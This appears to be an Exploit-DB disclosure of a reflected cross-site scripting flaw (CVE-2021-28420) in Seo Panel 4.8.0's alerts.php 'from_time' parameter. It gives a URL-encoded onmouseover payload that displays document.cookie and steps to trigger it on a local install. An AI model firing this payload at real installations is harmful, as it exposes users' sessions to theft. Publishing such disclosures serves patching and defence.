Seo Panel 4.8.0 - 'from_time' Reflected XSS

Author: Piyush Patil
type: webapps
platform: php
port: 
date_added: 2021-06-03  
date_updated: 2021-06-03  
verified: 0  
codes: CVE-2021-28420  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comseopanel.v.4.8.0.zip  

raw file: 49935.txt  

# Exploit Title: Seo Panel 4.8.0 - 'from_time' Reflected XSS
# Date: 23-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28420

-Description:
A cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote
attackers to inject JavaScript via alerts.php and the "from_time" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit: http://localhost/alerts.php?alert_category=general&from_time=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&keyword=&to_time=2021-03-11
3- Hover your mouse to "Period" field